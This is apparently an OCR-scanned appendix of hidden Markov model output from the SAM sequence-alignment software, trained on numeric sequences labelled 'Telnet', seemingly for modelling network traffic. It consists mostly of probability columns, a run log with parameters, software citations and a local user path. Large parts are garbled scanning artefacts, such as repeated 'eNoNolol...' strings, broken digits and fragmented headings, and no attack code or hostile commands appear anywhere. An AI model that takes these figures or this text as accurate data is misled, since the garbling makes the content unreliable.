.000310
.000020
.000013
.000000
.000000
.000000

O O OO OO ODOOOOoo oo

[eNoNoNoBoNoNolNololoBoNololNoBoNololNololNoBoNolNoNolNoNoNoloNoloNololNololololNeolNolNe]

.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003635
.993060
.003323
.000001
.000005
.000001
.000002
.000000
.000009
.000005
.000042
.000015
.000017
.000014
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000

O O OO OO ODOO OO o oo

[eNoNoNoBoNoNoNololoBoNoloNoBoNololNolololoNoNoNolNoNoNoloNololNololNololololNolNolNe]

.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047044
.463473
.489632
.000017
.000020
.000003
.000000
.000001
.000007
.000014
.000068
.000011
.000039
.000015
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000

O O OO OO ODOOOOoo oo

eoNeoNoNoNoNoNolNolololNololNoloNoloBNololNoNoNoNolNolNolNolNoloNololNeololololNolNo]

.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.001274
.000013
.000002
.000000
.000001
.000005
.000021
.000004
.000003
.000040
.000014
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000

O O OO OO ODOOOOo o oo

eoNeoNoNoNoNoNolNolololNoloNoloNololNolNolNoNoNoNoNolNoNolNoloNololNeololNololNolNo]

.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.007011
.000008
.000001
.000000
.000005
.000003
.000053
.000043
.000020
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
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[eNeoNoNoNoRolololoNoNoNoNolNoBoloNoNolNoNoNoNolololololNoNoNoNoNoNolololoNoNoNolNololololNe O O OO

[oNeoNeNoNe]

.000003
.000001
.000000
.000000

35

.476550
.464958
.058525
.988829
.000007
.000005
.000000
.000002
.000006
.000005
.000001
.000051
.000068
.000099
.000008
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

36

.476551
.464924
.058560
.992782
.000007

[ecNeoNoNoNoRolololoNoNoNoNolNoBoloNoNolNoNoNoNoloBololoNoNoNoNoNolNolololoNoNoNoNololololNe] O O OO

[oNeoNeNoNe]

.000000
.000000
.000000
.000000

.003646
.993030
.003345
.000002
.000005
.000002
.000002
.000000
.000009
.000005
.000044
.000015
.000017
.000015
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003654
.993002
.003361
.000002
.000005

[eNeoNoNoNoRolololoNoNoNoNolNoBoloNoNolNoNoNoNoloBolololNoNoNoNoNoNolololoNoNoNolNololololNe O O OO

[oNeoNeNoNe]

.000000
.000000
.000000
.000000

.047034
.463334
.489761
.001733
.000021
.000003
.000000
.000001
.000007
.000015
.000071
.000011
.000040
.000015
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047026
.463213
.489920
.000018
.000022

O O OO

locNoNoNoNoRololoNoNoNoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNolololololNoNoNolNoNolNol o]

.000001
.000000
.000000
.000000

.007627
.000013
.000002
.000000
.000002
.000005
.000022
.000004
.000003
.000042
.000015
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.002843
.000014

O O OO

locNoNoNoNoRololoNoNoNoNoNoloRolNoNoNolNoNoNoNolololoNoNoNoNoNololololNoNolNolNoNolNol o]

0
0

.000000
.000000
.000000
.000000

.000981
.000008
.000001
.000000
.000005
.000003
.000055
.000045
.000020
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001002
.002508
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oNoNoNoNoNoNoRolNoholNoNoNoNoloNolNoNohoNoNoNololNoloNoloNolNoloNololNololNolNolNolo]

leoNoNoNoNoNoNolNolololololNolNo]

.000005
.000000
.000002
.000006
.000006
.000001
.000052
.000070
.000101
.000009
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

37

.476171
.465269
.058715
.971331
.002360
.000006
.000000
.000002
.000006
.000006
.000001
.000054
.000073
.000105
.000009

oNoNoNoNoNoNoRoloholNoNoNeoNolNoNoNolNohoNolNoNololNoloNoloNolNoNeoNololNololNolNolNolo]

leoNoNoNoNoNoNolNolololololNolNo]

.000002
.000002
.000000
.000009
.000006
.000045
.000016
.000018
.000015
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003624
.993015
.003373
.000002
.000005
.000002
.000002
.000000
.000010
.000006
.000046
.000016
.000018
.000015
.000006

oNoNoNoNoNoNeoRolNoholNoNoNoNolNoNoNolNololNoNoNololNololNoloNolNolNoNololNololNolNolNolNo]

eoNoNoNoNoNoNolNololNolololNolNo]

.000003
.000000
.000001
.000007
.000015
.000073
.000011
.000041
.000016
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.046996
.463084
.490111
.000046
.000023
.000003
.000000
.000001
.000008
.000015
.000075
.000012
.000043
.000016
.000006

oNeoNoNoNoNoNeoRoloholNoNoNoNolNoNoNolNohoNoNoNololNoloNoloNololoNololNololNolNolNolNo]

OO OO OO0 OOoOooo

.000002
.000000
.000002
.000006
.000023
.000004
.000004
.000043
.000015
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.007438
.000014
.000002
.000000
.000002
.000006
.000024
.000004
.000004
.000044
.000016
.000006

oNoNoNoNoNoNeoRolNoholNoNoNoNoloNoNolNohoNolNoNololNoloNoloNolNoloNololNololNolNolNolNo]

OO OO OO0 OOooOooo

.000001
.000000
.000006
.000004
.000057
.000046
.000021
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.003567
.000009
.000001
.000000
.000006
.000004
.000058
.000048
.000021
.000000
.000001
.000004
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eNeoNohoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNolNolNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNoBololBoNoNoNoNoNolNolololNe]

.000005
.000000
.000000
.000000
.014385
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

38

.475834
.465451
.058862
.967856
.000008
.000006
.000000
.000002
.000006
.000006
.000001
.000056
.000075
.000108
.000009
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053

eNeoNoBoNoNoNoNoNoNololoBololNoNoNoNolNoNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNolNolNololelNe]

.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003514
.993112
.003365
.000002
.000005
.000002
.000002
.000000
.000010
.000006
.000048
.000017
.000019
.000016
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018

eNeoNoBoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNolololoNoNoNoNoNolNololNolNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.046891
.462998
.490268
.002142
.000024
.000003
.000000
.000001
.000008
.000016
.000078
.000012
.000044
.000017
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087

eNeoNohoNoNoNoNoNoNoNoloBololNoNoNoNoNololololNolNolNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.023570
.000014
.000003
.000000
.000002
.000006
.000024
.000004
.000004
.000045
.000016
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047

eNeoNohoNoNoNoNoNoNoNoloBoloNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.005524
.000009
.000001
.000000
.000006
.000004
.000060
.000049
.000022
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
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oNoNeoNoNeoNoNeoBolohololNolNolNolololNolNo)

eoNeoNoNoNoNoNolololololoNoBolNolololNolNolNolNoNolNolNololololNololNololNolNolNo]

.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

39

.474166
.466972
.059175
.986346
.000008
.000006
.000000
.000002
.000006
.000006
.000001
.000057
.000077
.000110
.000009
.000005
.000000
.000000
.000000
.000001
.004899
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020

oNoNeoNoNeoNoNeoBolNoholololNolNolololNolNo)

eoNoNoBoNoNoNololoBoNoloNoBolNololNolNolNolNolNoNolNolololololNololNeololNolNolNo]

.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003341
.993294
.003350
.000002
.000007
.000002
.000002
.000000
.000010
.000006
.000049
.000017
.000019
.000016
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017

oNoNeoNoNeoNoNeoBolNoholoNolNolNolololNolNo)

eNoNoNoNoNoNoNololoBoNoloNoBolNolololNolNoNolNoNolNololololoNololNololNolNolNe]

.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.046664
.463069
.490499
.000070
.000025
.000003
.000000
.000001
.000008
.000016
.000080
.000012
.000045
.000017
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013

oNoNeoNoNeoNoNeoBolNoholoNolNolNolololNolNo)

eNoNoNoNoNoNoNoloBoloNoNoNololNolNolNololNoNoNoNolNolololololNololNello]

.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.001163
.000015
.000003
.000000
.000002
.000006
.000025
.000004
.000004
.000047
.000017
.000006
.000000
.000000
.000000
.000000
.005349
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019

oNoNeoNoNeoNoNeoBolNoholNolNolNolNolololNolNo)

eNoNoNoNoNoNoNolooloNoNoNololololNololNoNoNoNolNolNololNololNoloNello]

.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001242
.000009
.000001
.000000
.000006
.000004
.000062
.000050
.000023
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
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.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000
40

.471300
.469525
.057311
.011888
.000008
.006903
.000000
.015583
.000007
.000006
.000001
.000058
.000079
.000113
.000010
.000005
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000
End

0.000000

O O O OO O oo

ecNeoNoRolNoNoNoNoNoNoNoloBoloNoNoNoNoloNolololoNoNoNoNoNoBololNolNoNoNoNoNolNolololNolNolNo

(@}

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNolololoNoNoNoNoloRoloNoNoNoNoNoNoloRolNoNoNoNoNolololNolololNolNolNolNo)

(@)

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003002
.993648
.006296
.001441
.002279
.000002
.005490
.000000
.000011
.000006
.000050
.000018
.000020
.000017
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.000000

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNolololoNoNoNoNoloRoloNoNoNoNoNoNoloRololNoNoNoNolololNolololNolNolNolNo)

o

.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.045982
.463519
.491775
.023942
.011216
.000004
.000000
.000001
.000008
.000017
.000082
.000013
.000046
.000018
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.000000

O O O OO O oo

ocNeoBoRoNoNoNoNoNoloNoloBolNoNoNoNoNolNoRololNoNoNoNoNoNoNololoNoNoNoNoNolNololololNol

.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.627995
.002111
.000003
.000000
.000002
.000006
.000025
.000004
.000004
.000048
.000017
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

O O O OO O oo

ocNeoBoRoNoNoNoNoNoloNoloBolNoNoNoNoNolNoRoloNoNoNoNoNoNoNololoNoNoNoNoNolNololololNol

.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.285226
.000009
.005030
.000000
.000006
.000004
.000063
.000052
.000023
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
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0.480791 0.634578 0.046902

0.000000 0.000000 0.000000

0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.00000O
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
ENDMODEL

7.4.5. TELNET

oo

SAM: buildmodel v3.5 (July 15, 2005) compiled 07/15/05 11:25:30
(c) 1992-2001 Regents of the University of California, Santa Cruz

o° oo

oe

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html
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o° o° o o

oe

o0 o° 0 O A OO A A A A A A A A A A A A A A AN A AN AN A A A AN AN A AN N A A A A AN A O A A A A A A A N o

oe

R. Hughe

K. Karpl

Yr

us,

Citations

(SAM,

SAM-T2K, HMMs)

A. Krogh, Hidden Markov models for sequence analysis:
Extension and analysis of the basic method, CABIOS 12:95-107, 1996.

et al.,
structure prediction,
001.
A. Krogh et al.,

Stucture,

Applications to protein modeling,

modelo6
edsheut

Dir:

ubuntu
/home/edsheut/Escritorio/Muestras 1000

Function,

Sat Sep 26 13:18:34 2009

Internal sequence weighting method 1
Regularizer FIM method train training letter frequencies (1)
Regularizer Insert method train training letter frequencies (1)
Model initial FIM method train training letter frequencies (1)
Model initial insert method train training letter frequencies (1)

Generic,

Insert,

and FIM tables dynamically reset to

Genetics 45(SH5)

Hidden Markov models in computational biology:
JMB 235:1501-1531,

Host:

Feb 1994.

train reset inserts geometric mean of match probabilities (6)
All models generated from regularizer.
Subsequence-submodel

Model lengths:

Itera-
tion

O J o U b W

NNV NNNR R R RRE PR
AU WNR O WDJO U™ WN R O W

Average

distance
-13.

10.

[e0)

QO OO OO O OO CO 0O CO 0O 0O O OO O CO O GO 0O 0O O O O O

398
065
.987
.804
.619
.536
.416
.366
.342
.347
.344
.355
.379
.413
.442
.450
.467
.491
.509
.523
.542
.553
.568
.569
.585
.598

41

-14.
10.
.085
.937
.875
. 794
.656
.583
.555
.550
.564
.593
.621
.659
.688
.699
.730
.753
779
.804
.819
.839
.852
.872
.866
.879

NeJ

QO OO OO O OO CO 0O CO 0O 0O O OO O CO CO GO 0O 0O O O O O o

(local)
Simple scores adjusted by +1.5*1n(seq len)
Track 0 FIMs added

36

172
364

35

I
=
0 O W

QO OO OO0 O OO CO 0O CO 0O 0O O OO O CO O GO 0O 0O W W O O W

(SW

.856
.353
.384
.132
.981
.783
. 734
. 685
.690
.683
.691
. 738
.755
.788
.817
.850
.855
.880
.899
.911
.924
.934
. 944
.938
. 943
. 943

2)

253

(adjust_score = 2)
(geometric mean of match probabilities (6))

What is the value added by human intervention in protein

Proteins: :86--91,



A0 00 0 0 A O OO A A A A AN A A A A A A AN AN AN A AN A A A A AN AN A AN AN A A A AN AN A AN AN A A A A AN AN A AN O O A° A o°

oe

27
28
29
30
31
32
33
34
35
36
37
38
39
40
Model O
Surgery,

O 0O 0O 0O 0O O GO O CO OO CO O CoO

.609
.618
.630
.633
. 645
.649
. 662
.667
.672
.675
.679
.670
.676
8.

679

O 0O 0O 0O 0O O GO O CO OO CO O CoO

.894
.907
.923
.926
.939
.951
.953
.964
.968
.971
.966
.970
.973
8.

978

(counting from O0)

New mod.

I21{2} I25{3} I26{3}

Model modified by surgery
.260
.913
.882
.830
.813
.784
.770
.759
.741
.728
.720
.716
.709
.694
.689
.684
.678
.672
.669
.689
.677
.673
.668
.667
.680
.677
.675
.674
.675
.674
.674

41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

8

B N B B B N e e N e N N B B N N N B B B N N Y

TRAIN 1000

Min:-34.

MinSDs:

sequences

09 (651)
-3.24

.943
.943
. 943
. 943
. 943
.943
.943
.943
.943
.943
.943
.943
. 943
. 943
wins!!

— 0O 00 0O GO 0O CO O O OO O 0O O 0O O

length 49

(final length 49)

(average length 37).

Max:

254

Distance statistics...
-5.57 (495) Ave:-14.70 SampDev:
MaxSDs: 1.52



o° o o o oe

o°

trainseed 0

[}

Parameters

% randseed 0

train Telnet.seq

alphabet def
Ntrain 1000

Total CPU time:
Finished at:

user

0:

1: O

system 0: 0: O

Sat Sep 26 13:19:36 2009

Numbers 101

stopcriterion 0.001000
nsurgery 100
anneal length 10.000000
initial noise 1.000000

mainline cutoff 0.300000

SW 0

Insert method train 1

MODEL --

alphabet def Numbers 101

GENERIC

.886984
.819972
.225758
.930155
.001349
.000540
.000297
.000135
.000243
.000054
.000162
.000135
.000081
.000108
.000135
.000108
.000054
.000108
.000189
.000297
.000486
.000675
.002024
.930155
.001349
.000540
.000297
.000135
.000243
.000054

[eNeoNoNoloRoNoNoNoNoNoNoNoBololNolNoNoNoNolNolololNolololNoRNol i ]

0.254944 0.376488

15.521340 3.764209
.265967
.017164
.001565
.000324
.000135
.000135
.000135
.000108
.000189
.000108
.000108
.000108
.000054
.000108
.000189
.000216
.000189
.000351
.000432
.000513
.002024
.017164
.001565
.000324
.000135
.000135
.000135
.000108

0

[eNeoNoNoloRoloNoNoNoNolNoNolololNoNoNolNolNololNololNololNolNo]

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNolNoNolNolNolololaele e Re RN

.006562
.009391
.001403
.000270
.000351
.000162
.000054
.000027
.000135
.000054
.000108
.000108
.000081
.000054
.000108
.000162
.000351
.000378
.000432
.000783
.002402
.009391
.001403
.000270
.000351
.000162
.000054
.000027

[eNeoNoNoloRoloNoNoNoNoNolNolololNoNoNoNolNololNololNololNolNo)

.003265
.000486
.000135
.000324
.000243
.000081
.000081
.000135
.000081
.000135
.000135
.000108
.000135
.000108
.000135
.000378
.000297
.000486
.000945
.003346
.003265
.000486
.000135
.000324
.000243
.000081
.000081

Final model for run modelob6

[eNeoNoNeoloRoloNoNoNoNoNolNolololNoNoNolNolNololNolNolNololNolNo]

from command line and insert files:

(internally generated FIMs removed)

.001835
.000486
.000270
.000243
.000108
.000081
.000081
.000054
.000189
.000081
.000054
.000081
.000027
.000162
.000297
.000405
.000513
.000486
.001646
.003562
.001835
.000486
.000270
.000243
.000108
.000081
.000081
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.000162
.000135
.000081
.000108
.000135
.000108
.000054
.000108
.000189
.000297
.000486
.000675
.002024
ETTCOUNT
.000000
.000000
.000000
.930155
.001349
.000540
.000297
.000135
.000243
.000054
.000162
.000135
.000081
.000108
.000135
.000108
.000054
.000108
.000189
.000297
.000486
.000675
.002024
.930155
.001349
.000540
.000297
.000135
.000243
.000054
.000162
.000135
.000081
.000108
.000135
.000108
.000054
.000108
.000189
.000297

O OO OO0 OO OOoooo

ocNeoNoNeoNoRoNoNoNoNoNoNoNoNoRolNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNoNoNoNoNoNoBolsNoNoNoNoNoNoNoNoNoNoNolNolNo]

oloNoNoNoNoNeoNolololoNoloNololNoloNolNolNoNoNoNoNolNolololoNoNolNolololNolololNelNolNolNe]

.000189
.000108
.000108
.000108
.000054
.000108
.000189
.000216
.000189
.000351
.000432
.000513
.002024

.000000
.000000
.000000
.017164
.001565
.000324
.000135
.000135
.000135
.000108
.000189
.000108
.000108
.000108
.000054
.000108
.000189
.000216
.000189
.000351
.000432
.000513
.002024
.017164
.001565
.000324
.000135
.000135
.000135
.000108
.000189
.000108
.000108
.000108
.000054
.000108
.000189
.000216
.000189
.000351

O OO OO0 OO OOoOooo

oloNoNoNoNoNoNololooNolBoNololNololNolNoNoNoNoNoNolololNoloNoNolNolololNololoNelNolNolNeo]

.000135
.000054
.000108
.000108
.000081
.000054
.000108
.000162
.000351
.000378
.000432
.000783
.002402

.000000
.000000
.000000
.009391
.001403
.000270
.000351
.000162
.000054
.000027
.000135
.000054
.000108
.000108
.000081
.000054
.000108
.000162
.000351
.000378
.000432
.000783
.002402
.009391
.001403
.000270
.000351
.000162
.000054
.000027
.000135
.000054
.000108
.000108
.000081
.000054
.000108
.000162
.000351
.000378

O OO OO0 OO OOoOooo

[eNoNeoNoNoNoNoNolNoholoNoloNololNololNolNolNoNolNoNolNolololoNoNolNolNolololNolNolNoNo]

.000135
.000081
.000135
.000135
.000108
.000135
.000108
.000135
.000378
.000297
.000486
.000945
.003346

.003265
.000486
.000135
.000324
.000243
.000081
.000081
.000135
.000081
.000135
.000135
.000108
.000135
.000108
.000135
.000378
.000297
.000486
.000945
.003346
.003265
.000486
.000135
.000324
.000243
.000081
.000081
.000135
.000081
.000135
.000135
.000108
.000135
.000108
.000135
.000378
.000297

O OO OO0 OO OO ooo

[eNoNoNoNoNoNoNoNoholoNoloNololNolololNolNoNolNoNolNoloBolNoNoNolNolNololNolNolNolNoNo]

.000054
.000189
.000081
.000054
.000081
.000027
.000162
.000297
.000405
.000513
.000486
.001646
.003562

.001835
.000486
.000270
.000243
.000108
.000081
.000081
.000054
.000189
.000081
.000054
.000081
.000027
.000162
.000297
.000405
.000513
.000486
.001646
.003562
.001835
.000486
.000270
.000243
.000108
.000081
.000081
.000054
.000189
.000081
.000054
.000081
.000027
.000162
.000297
.000405
.000513
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0.000486
0.000675
0.002024
FREQAVE
.000000
.000000
.000000
.9199438
.001357
.000510
.000323
.000157
.000216
.000060
.000168
.000147
.000075
.000136
.000135
.000103
.000071
.000103
.000173
.000264
.000484
.000878
.003135
.9199438
.001357
.000510
.000323
.000157
.000216
.000060
.000168
.000147
.000075
.000136
.000135
.000103
.000071
.000103
.000173
.000264
.000484
.000878
.003135
egin
.000000
.000000
.000000
.000000
.000000
.000000

cNoNoNoNoNoNV/oNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoNoloNoNoNoNoNoNolNe

o O O

eNeoBoBoNoNoNoNoNoloNoloBolNoNoNoNoNololololoNoNoNoNoNololololNoNoNoNoNololBolololNolNolNolNo)

OO O OO

.000432
.000513
.002024

.000000
.000000
.000000
.017007
.001387
.000376
.000142
.000138
.000133
.000137
.000189
.000113
.000114
.000084
.000055
.000111
.000191
.000198
.000192
.000314
.000495
.000722
.003339
.017007
.001387
.000376
.000142
.000138
.000133
.000137
.000189
.000113
.000114
.000084
.000055
.000111
.000191
.000198
.000192
.000314
.000495
.000722
.003339

.000000
.000000
.000000
.000000
.000000
.000000

o O O

eNeoBoBoNoNoNoNoNoloNolololNoNoNoNoNololololNoNoNoNoNoNoloRoloNoNoNoNoNolololololNoNolNolNo)

OO O OO

.000432
.000783
.002402

.000000
.000000
.000000
.008434
.001439
.000313
.000418
.000182
.000049
.000021
.000141
.000055
.000101
.000106
.000087
.000054
.000117
.000115
.000356
.000406
.000495
.001060
.004634
.008434
.001439
.000313
.000418
.000182
.000049
.000021
.000141
.000055
.000101
.000106
.000087
.000054
.000117
.000115
.000356
.000406
.000495
.001060
.004634

.000000
.000000
.000000
.000000
.000000
.000000

ocNeoBoRolNoNoNoNoNoloNoloBoloNoNoNoNoNoBololNoNoNoNoNoNolNololoNoNoNoNoNoNolololelNol (@)

o

.000486
.000945
.003346

.003117
.000482
.000133
.000385
.000263
.000095
.000080
.000134
.000089
.000153
.000120
.000129
.000134
.000106
.000130
.000411
.000324
.000575
.001365
.006401
.003117
.000482
.000133
.000385
.000263
.000095
.000080
.000134
.000089
.000153
.000120
.000129
.000134
.000106
.000130
.000411
.000324
.000575
.001365
